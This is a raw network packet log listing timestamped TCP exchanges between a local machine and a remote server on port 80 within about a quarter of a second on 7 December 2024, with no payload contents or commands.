Dec 7, 2024 22:40:13.179455042 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.179501057 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.180238962 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.180294037 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.180340052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.180391073 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.181210995 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.181265116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.181334019 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.181377888 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.182180882 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.182224989 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.182252884 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.182296991 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.183212996 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.183259964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.183283091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.183339119 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.184165955 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.184226036 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.184252024 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.184298038 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.185094118 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.185141087 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.185209990 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.185255051 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.186088085 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.186131954 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.186168909 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.186216116 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.187027931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.187072039 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.187114000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.187156916 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.187989950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.188033104 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.188107014 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.188153028 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.188941002 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.188986063 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.189043045 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.189088106 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.189941883 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.189990997 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.190057039 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.190100908 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.190892935 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.190938950 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.191020966 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.191065073 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.191863060 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.191909075 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.192049026 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.192094088 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.192822933 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.192871094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.192902088 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.192948103 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.193806887 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.193854094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.193924904 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.193965912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.194776058 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.194822073 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.194889069 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.194932938 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.195770025 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.195818901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.195874929 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.195920944 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.197078943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.197096109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.197134972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.197145939 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.197700977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.197747946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.197810888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.197856903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.198658943 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.198704958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.198759079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.198806047 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.199642897 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.199681997 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.199753046 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.199795961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.200637102 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.200683117 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.200759888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.200804949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.201672077 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.201718092 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.201807976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.201848030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.202631950 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.202680111 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.202701092 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.202745914 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.203533888 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.203579903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.203660011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.203706980 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.204432011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.204478979 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.230437040 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.230515957 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.230541945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.230600119 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.230917931 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.230973005 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.231030941 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.231072903 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.231900930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.231952906 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.231992006 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.232038975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.232882023 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.232929945 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.233097076 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.233146906 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.233829021 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.233886957 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.233927965 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.233966112 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.234802008 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.234852076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.234906912 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.234958887 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.235776901 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.235827923 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.235883951 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.235929966 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.236747026 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.236798048 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.236860037 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.236908913 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.237730026 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.237785101 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.237831116 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.237878084 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.238730907 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.238787889 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.238858938 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.238912106 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.301018000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.301106930 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.301106930 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.301146030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.301496029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.301543951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.301570892 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.301615000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.302290916 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.302339077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.302412033 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.302459002 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.303644896 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.303666115 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.303694963 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.303711891 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.304246902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.304296017 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.304385900 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.304430962 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.305175066 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.305227041 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.305258036 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.305300951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.306138992 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.306185961 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.306251049 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.306298018 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.307105064 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.307152987 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.307243109 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.307290077 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.308080912 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.308129072 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.308176994 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.308218956 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.309063911 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.309108973 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.309163094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.309206009 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.309998989 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.310046911 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.365345001 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.365390062 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.365402937 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.365439892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.365739107 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.365808964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.365890980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.365937948 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.366616011 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.366688013 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.366746902 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.366790056 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.367471933 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.367522001 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.367569923 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.367616892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.368354082 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.368458986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.368485928 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.368494987 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.369214058 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.369271994 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.369311094 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.369355917 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.370073080 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.370122910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.370196104 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.370243073 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.371009111 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.371058941 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.371112108 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.371162891 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.371885061 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.371931076 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.372010946 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.372071981 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.372708082 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.372757912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.372785091 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.372834921 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.373574972 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.373627901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.373651981 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.373704910 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.374454975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.374502897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.374537945 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.374583006 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.375328064 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.375375032 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.375443935 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.375492096 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.376199961 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.376245975 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.376307964 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.376348972 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.377053976 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.377110958 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.377161980 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.377204895 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.377950907 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.377999067 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.378067970 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.378113985 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.378813028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.378856897 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.378918886 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.378972054 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.379681110 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.379734039 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.379779100 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.379822016 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.380542994 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.380592108 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.380635977 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.380678892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.381412029 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.381464005 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.381499052 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.381544113 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.382291079 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.382345915 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.382404089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.382453918 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.383167028 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.383234978 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.383275032 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.383317947 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.384023905 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.384135008 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.384161949 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.384179115 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.384879112 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.384927034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.385006905 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.385055065 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.385747910 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.385787964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.385852098 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.385910034 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.386642933 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.386687994 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.386719942 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.386770964 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.387516975 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.387569904 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.387629986 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.387672901 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.388400078 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.388451099 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.388495922 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.388540030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.389239073 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.389290094 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.389317036 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.389365911 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.390122890 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.390173912 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.390228987 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.390275002 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.390985012 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.391035080 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.391093016 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.391139030 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.391865015 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.391915083 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.391984940 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.392033100 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.392743111 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.392795086 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.392823935 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.392867088 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.393543005 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.393589020 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.422736883 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.422786951 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.422816992 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.422858000 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.423252106 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.423290968 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.423372984 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.423410892 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.424052000 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.424096107 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.424145937 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.424194098 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.424930096 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.424994946 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.425045967 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.425085068 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.425813913 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.425858974 CET	49707	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:13.425908089 CET	80	49707	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:13.425951958 CET	49707	80	192.168.2.6	185.215.113.206
